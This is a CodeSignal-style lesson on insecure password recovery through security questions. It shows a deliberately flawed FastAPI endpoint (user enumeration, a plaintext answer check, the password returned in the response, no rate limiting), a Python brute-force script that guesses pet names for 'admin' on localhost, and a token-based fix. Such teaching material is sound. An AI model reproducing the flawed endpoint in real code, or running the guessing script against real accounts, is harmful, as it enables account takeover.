Insecure Credential Recovery

Introduction

Welcome to the " A04: Insecure Design " course! In this lesson, we will explore the topic of insecure credential recovery mechanisms, specifically focusing on the use of security questions and answers . Credential recovery is a critical component of web applications, allowing users to regain access to their accounts. However, when implemented insecurely, it can become a significant vulnerability, effectively creating a "backdoor" into a user's account that bypasses the primary password authentication. Let's dive into understanding these mechanisms and how they can be exploited. 🚀

Historical Context of Security Questions

Security questions are a form of Knowledge-Based Authentication (KBA), where a user must provide a pre-established piece of information ("something you know") to prove their identity. The underlying assumption is that these answers are private, static, and memorable. Common questions include "What's your mother's maiden name?", "What street did you grow up on?", or "What was your first pet's name?" While this method seemed secure initially, it has several fundamental design flaws that have become more pronounced in the digital age. The primary security flaw is that the answers often have low entropy (meaning they are predictable) and are not truly secret. In the age of social media and public records, information like a mother's maiden name, hometown, or even a pet's name is often publicly discoverable. This makes them particularly vulnerable to targeted attacks. Other outdated recovery methods share similar weaknesses: SMS-based recovery: Vulnerable to SIM swapping, where an attacker convinces a mobile carrier to transfer the victim's phone number to a SIM card they control. Simple PIN codes sent via email: If the user's email is already compromised, this offers no additional security. Birth date verification: This is public information and easily guessable. Last transaction amount (for banking): Can be phished or discovered through other means. These methods fail because they rely on information that is either public, guessable, or can be intercepted, violating the core principle that authentication secrets must remain confidential.

Understanding Credential Recovery Mechanisms

Credential recovery mechanisms are processes designed to help users regain access to their accounts when they forget their passwords. The goal is to securely re-establish identity by balancing user convenience with robust security. The system must be able to reliably verify the user's identity through a secondary channel without introducing new weaknesses. When implemented using security questions, the system compares a user-provided answer against a stored response. While this seems straightforward, it introduces several security risks because the answers are often predictable or publicly available information. Let's examine a vulnerable implementation that demonstrates these risks.

Join the 1M+ learners on CodeSignal

Be a part of our community of 1M+ users who develop and demonstrate their skills on CodeSignal

The Vulnerable Implementation

Let's examine a typical, flawed implementation of security question recovery. In this common but insecure design pattern, the application first verifies the user exists and then checks their security answer. This design is flawed from the start because it leaks information and relies on a weak secret.

Here is how the endpoint handles the initial recovery request in Python using FastAPI:

Python

def random_temp_password(n: int = 12) -> str:
    alphabet = string.ascii_letters + string.digits
    return "".join(random.choice(alphabet) for _ in range(n))

@router.post("/recover-password")
async def recover_password(request: Request, db: AsyncSession = Depends(get_db)):
    data = await request.json()
    username = data.get("username")
    security_answer = data.get("securityAnswer")

    result = await db.execute(select(User).where(User.username == username))
    user = result.scalar_one_or_none()
    if not user:
        # Flaw 1: User enumeration
        raise HTTPException(status_code=404, detail="User not found")

    # Flaw 2: Weak, guessable secret (security question)
    if security_answer == getattr(user, "security_answer", None):
        temp_password = random_temp_password()
        hashed = bcrypt.hashpw(temp_password.encode(), bcrypt.gensalt()).decode("utf-8")
        user.password = hashed
        await db.commit()
        # Flaw 3: Returning the new password directly in the response
        return {"newPassword": temp_password}
    else:
        # Flaw 4: Allows for brute-forcing the answer
        raise HTTPException(status_code=401, detail="Incorrect security answer")

def random_temp_password(n: int = 12) -> str:
    alphabet = string.ascii_letters + string.digits
    return "".join(random.choice(alphabet) for _ in range(n))

@router.post("/recover-password")
async def recover_password(request: Request, db: AsyncSession = Depends(get_db)):
    data = await request.json()
    username = data.get("username")
    security_answer = data.get("securityAnswer")

    result = await db.execute(select(User).where(User.username == username))
    user = result.scalar_one_or_none()
    if not user:
        # Flaw 1: User enumeration
        raise HTTPException(status_code=404, detail="User not found")

    # Flaw 2: Weak, guessable secret (security question)
    if security_answer == getattr(user, "security_answer", None):
        temp_password = random_temp_password()
        hashed = bcrypt.hashpw(temp_password.encode(), bcrypt.gensalt()).decode("utf-8")
        user.password = hashed
        await db.commit()
        # Flaw 3: Returning the new password directly in the response
        return {"newPassword": temp_password}
    else:
        # Flaw 4: Allows for brute-forcing the answer
        raise HTTPException(status_code=401, detail="Incorrect security answer")

This code contains several critical design flaws:

User Enumeration: The code first checks if the user exists and returns a 404 Not Found error if they don't. This allows an attacker to determine which usernames are valid in the system by observing the different responses.
Weak Secret: The security answer is checked using a simple string comparison. Since these answers are often common names or places, they are susceptible to guessing or dictionary attacks.
Direct Password Disclosure: Upon a successful guess, a temporary password is generated and returned directly in the API response. This is extremely dangerous, as it hands control of the account to anyone who can guess the answer.
Lack of Protective Controls: The endpoint has no rate limiting or account lockout mechanisms. An attacker can make unlimited guesses without being blocked, making a brute-force attack trivial.
Plaintext Storage (Implied): The direct comparison security_answer == getattr(user, "security_answer", None) implies the answer is stored in plaintext or in a reversibly encrypted format in the database, which is a major security risk.

Now, let's see how an attacker might exploit these vulnerabilities.

Exploiting the Vulnerability

An attacker can exploit this insecure design by performing a dictionary attack. This attack vector involves creating a list of common or likely answers (the "dictionary") and systematically trying each one. Because the API confirms a correct answer and lacks rate limiting, this attack is highly effective.

Here's a simple Python script using the requests library to demonstrate such an attack, assuming the security question is "What was your first pet's name?":

Python

def attempt_recovery(username):
    print(f"Starting recovery attempt for username: {username}")
    # This list acts as our "dictionary" for the attack
    for name in common_dog_names:
        try:
            response = requests.post(
                'http://localhost:3000/api/recovery/recover-password',
                json={'username': username, 'securityAnswer': name}
            )
            data = response.json()
            print(f"Trying answer: '{name}' -> Status: {response.status_code}")
            if response.ok:
                print(f"Success! Answer found: {name}, Temporary Password: {data['newPassword']}")
                return
        except requests.exceptions.RequestException as err:
            print(f"Request error: {err}")
    print("Recovery attempt completed. No successful matches found.")

common_dog_names = [
    'Max', 'Bella', 'Luna', 'Charlie', 'Lucy', 'Cooper', 'Daisy', 'Milo',
    'Bailey', 'Rocky', 'Bear', 'Shadow', 'Jack', 'Sadie', 'Buddy'
]

if __name__ == '__main__':
    attempt_recovery('admin')

def attempt_recovery(username):
    print(f"Starting recovery attempt for username: {username}")
    # This list acts as our "dictionary" for the attack
    for name in common_dog_names:
        try:
            response = requests.post(
                'http://localhost:3000/api/recovery/recover-password',
                json={'username': username, 'securityAnswer': name}
            )
            data = response.json()
            print(f"Trying answer: '{name}' -> Status: {response.status_code}")
            if response.ok:
                print(f"Success! Answer found: {name}, Temporary Password: {data['newPassword']}")
                return
        except requests.exceptions.RequestException as err:
            print(f"Request error: {err}")
    print("Recovery attempt completed. No successful matches found.")

common_dog_names = [
    'Max', 'Bella', 'Luna', 'Charlie', 'Lucy', 'Cooper', 'Daisy', 'Milo',
    'Bailey', 'Rocky', 'Bear', 'Shadow', 'Jack', 'Sadie', 'Buddy'
]

if __name__ == '__main__':
    attempt_recovery('admin')

This exploit script works by systematically iterating through a list of common_dog_names and sending a POST request for each one. The vulnerable API's design directly aids the attacker:

The script sends a guess.
The API responds with a 401 Unauthorized status if the guess is wrong.
If the guess is correct, the API responds with a 200 OK status and, critically, includes the new temporary password in the response body.
The script detects the successful response, prints the password, and stops.

The attacker can now immediately use this temporary password to log in, change the password to something they control, and take over the account.

Implementing Secure Password Reset

First, let's look at how we handle the initial password reset request. Here is an improved and robust implementation using FastAPI and Python's standard libraries:

Python

# For demo purposes only; in production, send email instead of returning token.
async def send_password_reset_email(email: str, token: str) -> None:
    # Placeholder: integrate with your email provider
    print(f"[DEV] Send reset link to {email}: TOKEN={token}")

def generate_reset_token() -> str:
    return secrets.token_urlsafe(32)

@router.post("/recover-password")
async def recover_password(request: Request, db: AsyncSession = Depends(get_db)):
    data = await request.json()
    username = data.get("username")

    result = await db.execute(select(User).where(User.username == username))
    user = result.scalar_one_or_none()

    # Do not reveal if user exists
    if not user:
        return {"message": "If an account exists, a reset link will be sent"}

    # Store token and expiry on the user record (assumes columns exist for demo)
    token = generate_reset_token()
    setattr(user, "reset_token", token)
    setattr(user, "reset_token_expires", datetime.utcnow() + timedelta(hours=1))
    await db.commit()

    await send_password_reset_email(getattr(user, "email", "unknown@example.com"), token)
    return {"message": "Check your email for further instructions."}

# For demo purposes only; in production, send email instead of returning token.
async def send_password_reset_email(email: str, token: str) -> None:
    # Placeholder: integrate with your email provider
    print(f"[DEV] Send reset link to {email}: TOKEN={token}")

def generate_reset_token() -> str:
    return secrets.token_urlsafe(32)

@router.post("/recover-password")
async def recover_password(request: Request, db: AsyncSession = Depends(get_db)):
    data = await request.json()
    username = data.get("username")

    result = await db.execute(select(User).where(User.username == username))
    user = result.scalar_one_or_none()

    # Do not reveal if user exists
    if not user:
        return {"message": "If an account exists, a reset link will be sent"}

    # Store token and expiry on the user record (assumes columns exist for demo)
    token = generate_reset_token()
    setattr(user, "reset_token", token)
    setattr(user, "reset_token_expires", datetime.utcnow() + timedelta(hours=1))
    await db.commit()

    await send_password_reset_email(getattr(user, "email", "unknown@example.com"), token)
    return {"message": "Check your email for further instructions."}

Notice how we now return the same message regardless of whether the user exists, preventing username enumeration. This is done for maximum security, but as mentioned above, you might want to reveal this information to users for a better user experience.

Handling Password Reset Requests

When the user clicks the reset link, we verify the token and update the password:

Python

@router.post("/reset-password")
async def reset_password(request: Request, db: AsyncSession = Depends(get_db)):
    data = await request.json()
    token = data.get("token")
    new_password = data.get("newPassword")
    if not token or not new_password:
        raise HTTPException(status_code=400, detail="Invalid payload")

    # Look up valid, non-expired token
    result = await db.execute(select(User).where(
        getattr(User, "reset_token") == token  # type: ignore
    ))
    user = result.scalar_one_or_none()
    if not user or getattr(user, "reset_token_expires", datetime.min) < datetime.utcnow():
        raise HTTPException(status_code=400, detail="Invalid or expired reset token")

    # Update password and clear token
    user.password = bcrypt.hashpw(new_password.encode(), bcrypt.gensalt()).decode("utf-8")
    setattr(user, "reset_token", None)
    setattr(user, "reset_token_expires", None)
    await db.commit()
    return {"message": "Password successfully reset"}

@router.post("/reset-password")
async def reset_password(request: Request, db: AsyncSession = Depends(get_db)):
    data = await request.json()
    token = data.get("token")
    new_password = data.get("newPassword")
    if not token or not new_password:
        raise HTTPException(status_code=400, detail="Invalid payload")

    # Look up valid, non-expired token
    result = await db.execute(select(User).where(
        getattr(User, "reset_token") == token  # type: ignore
    ))
    user = result.scalar_one_or_none()
    if not user or getattr(user, "reset_token_expires", datetime.min) < datetime.utcnow():
        raise HTTPException(status_code=400, detail="Invalid or expired reset token")

    # Update password and clear token
    user.password = bcrypt.hashpw(new_password.encode(), bcrypt.gensalt()).decode("utf-8")
    setattr(user, "reset_token", None)
    setattr(user, "reset_token_expires", None)
    await db.commit()
    return {"message": "Password successfully reset"}

This implementation ensures that reset tokens are single-use and time-limited, significantly improving security over the security question approach.

Introduction

Historical Context of Security Questions

Understanding Credential Recovery Mechanisms

Join the 1M+ learners on CodeSignal

The Vulnerable Implementation

Exploiting the Vulnerability

A More Secure Approach: Email-Based Token System

Implementing Secure Password Reset

Using Reset Tokens

Handling Password Reset Requests

Conclusion and Next Steps